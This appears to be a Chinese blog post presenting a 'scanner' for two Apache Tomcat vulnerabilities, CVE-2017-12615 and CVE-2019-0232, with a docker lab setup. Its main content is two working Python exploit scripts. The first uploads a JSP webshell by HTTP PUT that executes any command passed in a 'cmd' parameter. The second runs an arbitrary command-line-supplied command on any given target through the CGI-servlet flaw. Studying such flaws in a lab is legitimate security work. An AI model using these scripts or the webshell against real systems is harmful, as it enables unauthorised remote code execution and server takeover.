当前位置: 首页 > news >正文

Tomcat 相关漏洞扫描器(一) - 指南

Tomcat 相关漏洞扫描器(一) - 指南

前言

该漏洞扫描器用来测试Tomcat框架下的站点是否存在漏洞

一、Tomcat_CVE-2017-12615

漏洞介绍

漏洞本质Tomcat配置了可写(readonly=false),导致我们可以往服务器写文件。

虽然Tomcat对文件后缀有一定检测(不能直接写jsp),但我们使用一些文件系统的特性(如Linux下可用/)来绕过了限制。

漏洞原理

/conf/web.xml (readonly=False)
可以使用put上传任意文件


漏洞存在版本:
7.0.0-7.0.81

<servlet>
    <servlet-name>default</servlet-name>
    <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
    <init-param>
        <param-name>debug</param-name>
        <param-value>0</param-value>
    </init-param>
    <init-param>
        <param-name>listings</param-name>
        <param-value>false</param-value>
    </init-param>
    <init-param>
        <param-name>readonly</param-name>
        <param-value>false</param-value>
    </init-param>
    <load-on-startup>1</load-on-startup>
</servlet>

环境搭建

docker compose build
docker compose up -d

运行完成后访问 http://127.0.0.1:8081/ 即可看到Tomcat的Example页面

漏洞复现

接发送数据包即可在Web根目录写入shell:(由于审核 jsp 代码将不截图)

重点:将方法改为:PUT,文件名:随意,然后在body处增加 jsp 代码

代码

import requests
import time
url = 'http://127.0.0.1:8081/'
payloadfile = '1.jsp/'
def tomcat_cve_2017_12615(url):payload_url = url + payloadfileheaders = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0'}payload_body = ("<%java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(\"cmd\")).getInputStream();""int a = -1;""byte[] b = new byte[2048];""while((a=in.read(b))!=-1){out.println(new String(b));}""%>")# 利用put方法把文件写入服务器response = requests.put(payload_url, data=payload_body, headers=headers)time.sleep(3)test_payload = {"cmd":"whoami"}response2 = requests.get(payload_url[:-1], headers=headers, params=test_payload)print(payload_url[:-1])print(response2.status_code)if response2.status_code == 200:print("漏洞存在")else:print("漏洞不存在")
tomcat_cve_2017_12615(url)

二、Tomcat_CVE-2019-0232

漏洞原理

jre将命令行传递给windodws方式存在错误,会导致cgi-servlet远程代码执行

影响版本

9.0.0.m1 - 9.0.17
8.5.0 - 8.5.39
7.0.0 - 7.0.93

存在条件

1.windows系统
2.cgi-servlet开启

代码

import requests
import time
import sys
# url = 'http://172.30.230.102:8080/'
url = sys.argv[1]
payload = '/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5C'
cmd = sys.argv[2]
def cve_2019_0232(url):payload_url = url + payloadheaders = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0'}response = requests.get(url=payload_url+cmd, headers=headers)if response.status_code == 200:print('漏洞存在!')print(response.content.decode('gbk'))else:print('漏洞不存在!')
cve_2019_0232(url)

http://www.hskmm.com/?act=detail&tid=21116

相关文章:

  • 题解:CF2125E Sets of Complementary Sums
  • 929
  • ManySpeech —— 使用 C# 开发人工智能语音应用
  • 20250929
  • 驱动基础知识速览(迅为RK3568文档)
  • 学习笔记-析合树
  • CSPJ2025模拟赛
  • java代码审计-Shiro认证授权
  • CF868F题解
  • ThinkPHP反序列化分析
  • AT_iroha2019_day4_l 题解
  • AT_abc290_f 题解
  • 一张图读懂绿电直连系统架构 - 智慧园区
  • P5469 [NOI2019] 机器人 题解
  • 题解:P14080 [GESP202509 八级] 最小生成树
  • 实用指南:Spring Cloud Gateway 实战:全局过滤器日志统计与 Prometheus + Grafana 接口耗时监控
  • GTSAM 中自定义因子(Custom Factor)的详解和实战示例 - 指南
  • AtCoder AGC073 A 题解
  • CF506C Mr. Kitayuta vs. Bamboos 51nod1457 小K vs. 竹子 题目分析
  • 北京 意大利 硕士学签/D签 vfs代办 材料清单
  • temp
  • 我有园子了
  • 使用 Jenkins 的流水线方案实施 CI/CD
  • 加密的病例单
  • 详细介绍:视频融合平台EasyCVR构筑智慧交通可视化管理与智能决策中枢
  • docker 在x86上build arm 镜像
  • 9.29软工
  • 不一样的.NET烟火,基于Roslyn的开源代码生成器
  • 复刻江协旋钮控制模块
  • 告别硬编码!5个让Web自动化脚本更稳定的定位策略